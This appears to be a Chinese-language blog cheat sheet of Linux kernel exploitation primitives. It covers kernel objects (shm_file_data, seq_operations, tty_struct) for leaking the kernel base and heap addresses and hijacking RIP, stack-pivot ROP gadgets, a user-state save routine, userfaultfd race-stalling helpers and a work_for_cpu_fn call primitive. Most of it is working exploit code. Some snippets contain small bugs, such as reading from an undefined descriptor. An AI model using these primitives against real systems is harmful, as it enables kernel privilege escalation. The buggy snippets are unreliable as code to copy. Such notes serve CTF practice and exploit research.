shm_file_data
size: 0x20 (kmalloc-32)
ns, vm_ops泄漏kernel_base
file泄漏kernel堆地址
struct shm_file_data
{
int id;
struct ipc_namespace *ns;
struct file *file;
const struct vm_operations_struct *vm_ops;
};
使用方法:
int shmid_open()
{
int shmid;
if ((shmid=shmget(IPC_PRIVATE,100,0600))==-1)
{
puts("[X] Shmget Error");
exit(0);
}
char *shmaddr=shmat(shmid,NULL,0);
if (shmaddr==(void*)-1)
{
puts("[X] Shmat Error");
exit(0);
}
return shmid;
}
seq_operations
size: 0x20 (kmalloc-32)
四个指针都可以泄漏kernel_base
更改start可以劫持RIP
struct seq_operations
{
void * (*start) (struct seq_file *m, loff_t *pos);
void (*stop) (struct seq_file *m, void *v);
void * (*next) (struct seq_file *m, void *v, loff_t *pos);
int (*show) (struct seq_file *m, void *v);
};
使用方法:
int seq_open()
{
int seq;
if ((seq=open("/proc/self/stat", O_RDONLY))==-1)
{
puts("[X] Seq Open Error");
exit(0);
}
return seq;
}
劫持RIP:
read(seq,ptr,0);
劫持发生于seq_read处
rax=start
r15=&ptr
mov qword ptr [rsp], rax ;
ret ;
p = m->op->start(m, &m->index); /// fs/seq_file.c#L203
实现ROP所需要的gadgets:
0x0000000000000000 : xchg esp, eax ; ret ;
0x0000000000000000 : xchg rsp, r15 ; ret ;
0x0000000000000000 : xchg esp, r15d ; ret ;
tty_struct
size: 0x2e0 (kmalloc-1024)
tty_operations *ops可以泄漏kernel_base
__int64_t ptm_unix98_ops_addr=tty_buf[3];
if ((ptm_unix98_ops_addr&0xFFF)==0x320) ptm_unix98_ops_addr+=0x120;
劫持struct tty_operations *ops可以控制RIP
struct tty_struct
{
int magic;
struct kref kref;
struct device *dev;
struct tty_driver *driver;
const struct tty_operations *ops;
int index;
/* Protects ldisc changes: Lock tty not pty */
struct ld_semaphore ldisc_sem;
struct tty_ldisc *ldisc;
struct mutex atomic_write_lock;
struct mutex legacy_mutex;
struct mutex throttle_mutex;
struct rw_semaphore termios_rwsem;
struct mutex winsize_mutex;
spinlock_t ctrl_lock;
spinlock_t flow_lock;
/* Termios values are protected by the termios rwsem */
struct ktermios termios, termios_locked;
struct termiox *termiox; /* May be NULL for unsupported */
char name[64];
struct pid *pgrp; /* Protected by ctrl lock */
struct pid *session;
unsigned long flags;
int count;
struct winsize winsize; /* winsize_mutex */
unsigned long stopped:1, /* flow_lock */
flow_stopped:1,
unused:BITS_PER_LONG - 2;
int hw_stopped;
unsigned long ctrl_status:8, /* ctrl_lock */
packet:1,
unused_ctrl:BITS_PER_LONG - 9;
unsigned int receive_room; /* Bytes free for queue */
int flow_change;
struct tty_struct *link;
struct fasync_struct *fasync;
wait_queue_head_t write_wait;
wait_queue_head_t read_wait;
struct work_struct hangup_work;
void *disc_data;
void *driver_data;
spinlock_t files_lock; /* protects tty_files list */
struct list_head tty_files;
#define N_TTY_BUF_SIZE 4096
int closing;
unsigned char *write_buf;
int write_cnt;
/* If the tty has a pending do_SAK, queue it here - akpm */
struct work_struct SAK_work;
struct tty_port *port;
} __randomize_layout;
tty_operations *ops结构体:
struct tty_operations
{
struct tty_struct * (*lookup)(struct tty_driver *driver,
struct file *filp, int idx);
int (*install)(struct tty_driver *driver, struct tty_struct *tty);
void (*remove)(struct tty_driver *driver, struct tty_struct *tty);
int (*open)(struct tty_struct * tty, struct file * filp);
void (*close)(struct tty_struct * tty, struct file * filp);
void (*shutdown)(struct tty_struct *tty);
void (*cleanup)(struct tty_struct *tty);
int (*write)(struct tty_struct * tty,
const unsigned char *buf, int count);
int (*put_char)(struct tty_struct *tty, unsigned char ch);
void (*flush_chars)(struct tty_struct *tty);
int (*write_room)(struct tty_struct *tty);
int (*chars_in_buffer)(struct tty_struct *tty);
int (*ioctl)(struct tty_struct *tty,
unsigned int cmd, unsigned long arg);
long (*compat_ioctl)(struct tty_struct *tty,
unsigned int cmd, unsigned long arg);
void (*set_termios)(struct tty_struct *tty, struct ktermios * old);
void (*throttle)(struct tty_struct * tty);
void (*unthrottle)(struct tty_struct * tty);
void (*stop)(struct tty_struct *tty);
void (*start)(struct tty_struct *tty);
void (*hangup)(struct tty_struct *tty);
int (*break_ctl)(struct tty_struct *tty, int state);
void (*flush_buffer)(struct tty_struct *tty);
void (*set_ldisc)(struct tty_struct *tty);
void (*wait_until_sent)(struct tty_struct *tty, int timeout);
void (*send_xchar)(struct tty_struct *tty, char ch);
int (*tiocmget)(struct tty_struct *tty);
int (*tiocmset)(struct tty_struct *tty,
unsigned int set, unsigned int clear);
int (*resize)(struct tty_struct *tty, struct winsize *ws);
int (*set_termiox)(struct tty_struct *tty, struct termiox *tnew);
int (*get_icount)(struct tty_struct *tty,
struct serial_icounter_struct *icount);
int (*get_serial)(struct tty_struct *tty, struct serial_struct *p);
int (*set_serial)(struct tty_struct *tty, struct serial_struct *p);
void (*show_fdinfo)(struct tty_struct *tty, struct seq_file *m);
#ifdef CONFIG_CONSOLE_POLL
int (*poll_init)(struct tty_driver *driver, int line, char *options);
int (*poll_get_char)(struct tty_driver *driver, int line);
void (*poll_put_char)(struct tty_driver *driver, int line, char ch);
#endif
int (*proc_show)(struct seq_file *, void *);
} __randomize_layout;
使用方法:
int get_tty_struct()
{
int ptmx_fd=open("/dev/ptmx",O_RDWR);
if (ptmx_fd<=0) printf("[X] Ptmx open failed");
read(fd,tty_buf,0);
if (tty_buf[0]==0x100005401)
{
puts("[+] Ptmx struct got");
return ptmx_fd;
}
return 0;
}
save_state
保存用户态寄存器
void save_state()
{
asm(
"movq %%cs, %0;"
"movq %%ss, %1;"
"movq %%rsp, %3;"
"pushfq;"
"pop %2;"
: "=r"(user_cs),"=r"(user_ss),"=r"(user_eflag),"=r"(user_rsp)
:
: "memory"
);
}
register_userfault
缺页注册函数:
void register_userfault(void *fault_page, void *user_stuck_handler,int filedes_out,void *func,void *func_arg)
{
struct arg
{
uint64_t uffd;
int filedes_out;
void (*func)(void *,void *);
void *func_arg;
};
pthread_t thr;
struct uffdio_api ua;
struct uffdio_register ur;
uint64_t uffd=syscall(__NR_userfaultfd,O_CLOEXEC|O_NONBLOCK);
struct arg *handler_arg=malloc(sizeof(struct arg));
handler_arg->uffd=uffd;
handler_arg->filedes_out=filedes_out;
handler_arg->func=func;
handler_arg->func_arg=func_arg;
ua.api=UFFD_API;
ua.features=0;
if (ioctl(uffd,UFFDIO_API,&ua) == -1)
{
puts("[X] ioctl-UFFDIO_API Error");
exit(0);
}
ur.range.start=(unsigned long)fault_page;
ur.range.len=PAGE_SIZE;
ur.mode=UFFDIO_REGISTER_MODE_MISSING;
if (ioctl(uffd,UFFDIO_REGISTER,&ur)==-1)
{
puts("[X] ioctl-UFFDIO_REGISTER Error");
}
int s=pthread_create(&thr,NULL,user_stuck_handler,(void *)handler_arg);
if (s!=0)
{
puts("[X] Pthread Create Error");
exit(0);
}
}
缺页处理函数:
void *user_stuck_handler(void *handler_arg)
{
struct arg
{
uint64_t uffd;
int filedes_out;
void (*func)(void *,void *);
void *func_arg;
};
struct uffd_msg msg;
unsigned long uffd=((struct arg *)handler_arg)->uffd;
puts("[+] Leak_handler Created");
char con_msg; int filedes_out=((struct arg *)handler_arg)->filedes_out;
read(filedes_out,&con_msg,0x1);
if (con_msg!=*MSG_CONTINUE)
{
puts("[X] Stuck Page Continue Msg Error");
exit(0);
}
puts("[+] Restore Stuck Begin");
struct pollfd pollfd;
int nready;
pollfd.fd=uffd;
pollfd.events=POLLIN;
nready=poll(&pollfd,1,-1);
if (nready!=1)
{
puts("[X] Wrong Pool Return Value");
exit(0);
}
nready=read(uffd,&msg,sizeof(msg));
if (nready<=0)
{
puts("[X]Msg Error!!");
exit(0);
}
char *page=(char*)mmap(NULL,PAGE_SIZE,PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_ANONYMOUS,-1,0);
if (page==MAP_FAILED)
{
puts("[X] Mmap Page Error!!");
exit(0);
}
struct uffdio_copy uc;
memset(page,0,sizeof(page));
void (*func)(void *,void *)=((struct arg *)handler_arg)->func;
void *func_arg=((struct arg *)handler_arg)->func_arg;
if (func!=NULL) func(page,func_arg);
free(handler_arg);
uc.src=(unsigned long)page;
uc.dst=(unsigned long)msg.arg.pagefault.address&~(PAGE_SIZE-1);;
uc.len=PAGE_SIZE;
uc.mode=0;
uc.copy=0;
ioctl(uffd,UFFDIO_COPY,&uc);
puts("[-] User Stuck Handler Done!!");
}
work_for_cpu_fn
struct work_for_cpu {
struct work_struct work;
long (*fn)(void *);
void *arg;
long ret;
};
struct work_struct {
atomic_long_t data;
struct list_head entry;
work_func_t func;
#ifdef CONFIG_LOCKDEP
struct lockdep_map lockdep_map;
#endif
};
static void work_for_cpu_fn(struct work_struct *work)
{
struct work_for_cpu *wfc = container_of(work, struct work_for_cpu, work);
wfc->ret = wfc->fn(wfc->arg);
}
使用方法:
*(a1+0x30)=(*(void (*)(void *))(a1+0x20)(*(a1+0x28))
// fake assemble
mov rcx, rdi;
mov rdi, qword ptr [rdi+0x28] ;
call qword ptr [rcx+0x20] ;
mov qword ptr [rcx+0x30], rax ;
暂无评论